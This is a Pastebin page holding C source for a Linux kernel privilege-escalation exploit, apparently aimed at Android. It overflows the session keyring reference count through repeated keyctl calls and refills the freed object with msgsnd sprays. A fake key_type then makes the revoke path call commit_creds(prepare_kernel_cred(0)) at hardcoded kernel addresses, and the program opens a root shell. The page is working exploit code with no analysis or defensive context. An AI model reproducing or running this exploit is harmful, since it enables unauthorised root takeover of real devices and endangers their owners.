Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <time.h>
- #include <sys/ipc.h>
- #include <sys/syscall.h>
- struct cred;
- struct task_struct;
- struct cred *(*prepare_kernel_cred)(struct task_struct *);
- int (*commit_creds)(struct cred *);
- #define STRUCT_LEN (0xb8 - 0x30)
- #define PREPARE_KERNEL_CREDS_ADDR 0xc01b98a8
- #define COMMIT_CREDS_ADDR 0xc01b9370
- //#define __NR_msgget 186
- //#define __NR_msgsnd 189
- //#define __NR_keyctl 219
- #define KEY_SPEC_SESSION_KEYRING -3
- #define KEYCTL_JOIN_SESSION_KEYRING 1
- #define KEYCTL_REVOKE 3
- #define KEYCTL_SETPERM 5
- #define KEY_POS_ALL 0x3f000000
- #define KEY_USR_ALL 0x003f0000
- #define KEY_GRP_ALL 0x00003f00
- #define KEY_OTH_ALL 0x0000003f
- typedef int32_t key_serial_t;
- struct key_type {
- char *name;
- size_t datalen;
- void *vet_description;
- void *preparse;
- void *free_preparse;
- void *instantiate;
- void *update;
- void *match_preparse;
- void *match_free;
- void *revoke;
- void *destroy;
- };
- void userspace_revoke(void *key) {
- commit_creds(prepare_kernel_cred(0));
- }
- int main(int argc, const char *argv[]) {
- //const char *keyring_name;
- const char *keyring_name = "PP_KEY";
- size_t i = 0;
- unsigned long int l = 0x100000000 / 2;
- key_serial_t serial = -1;
- pid_t pid = -1;
- struct key_type *my_key_type = NULL;
- struct {
- long mtype;
- char mtext[STRUCT_LEN];
- } msg = {(long)0x4141414141414141, {0}};
- int msqid;
- /*
- if (argc != 2) {
- puts("usage: ./keys <key_name>");
- return 1;
- }
- */
- printf("uid=%d, euid=%d\n", getuid(), geteuid());
- commit_creds = (void *)COMMIT_CREDS_ADDR;
- prepare_kernel_cred = (void *)PREPARE_KERNEL_CREDS_ADDR;
- my_key_type = malloc(sizeof(*my_key_type));
- my_key_type->revoke = (void *)userspace_revoke;
- memset(msg.mtext, 'A', sizeof(msg.mtext));
- // key->uid
- *(int *)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
- //key->perm
- *(int *)(&msg.mtext[64]) = 0x3f3f3f3f;
- //key->type
- *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
- if ((msqid = syscall(__NR_msgget, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
- perror("msgget");
- exit(1);
- }
- keyring_name = argv[1];
- /* Set the new session keyring before we start */
- serial = syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
- if (serial < 0) {
- perror("keyctl");
- return -1;
- }
- if (syscall(__NR_keyctl, KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
- perror("keyctl");
- return -1;
- }
- puts("Increfing...");
- for (i = 1; i < 0xfffffffd; ++i) {
- if (i == (0xffffffff - l)) {
- l = l / 2;
- sleep(5);
- }
- if (syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
- perror("keyctl");
- return -1;
- }
- if (i % 0x100 == 0) {
- printf("i=%08x\n", i);
- }
- }
- sleep(5);
- /* here we are going to leak the last references to overflow */
- for (i = 0; i < 5; ++i) {
- if (syscall(__NR_keyctl, KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
- perror("keyctl");
- return -1;
- }
- }
- puts("finished increfing");
- puts("forking...");
- /* allocate msg struct in the kernel rewriting the freed keyring object */
- for (i = 0; i < 64; ++i) {
- pid = fork();
- if (pid == -1) {
- perror("fork");
- return -1;
- }
- if (pid == 0) {
- sleep(2);
- if ((msqid = syscall(__NR_msgget, IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
- perror("msgget");
- exit(1);
- }
- for (i = 0; i < 64; i++) {
- if (syscall(__NR_msgsnd, msqid, &msg, sizeof(msg.mtext), 0) == -1) {
- perror("msgsnd");
- exit(1);
- }
- }
- sleep(-1);
- exit(1);
- }
- }
- puts("finished forking");
- sleep(5);
- /* call userspace_revoke from kernel */
- puts("caling revoke...");
- if (syscall(__NR_keyctl, KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
- perror("keyctl_revoke");
- }
- printf("uid=%d, euid=%d\n", getuid(), geteuid());
- system("/system/bin/sh");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment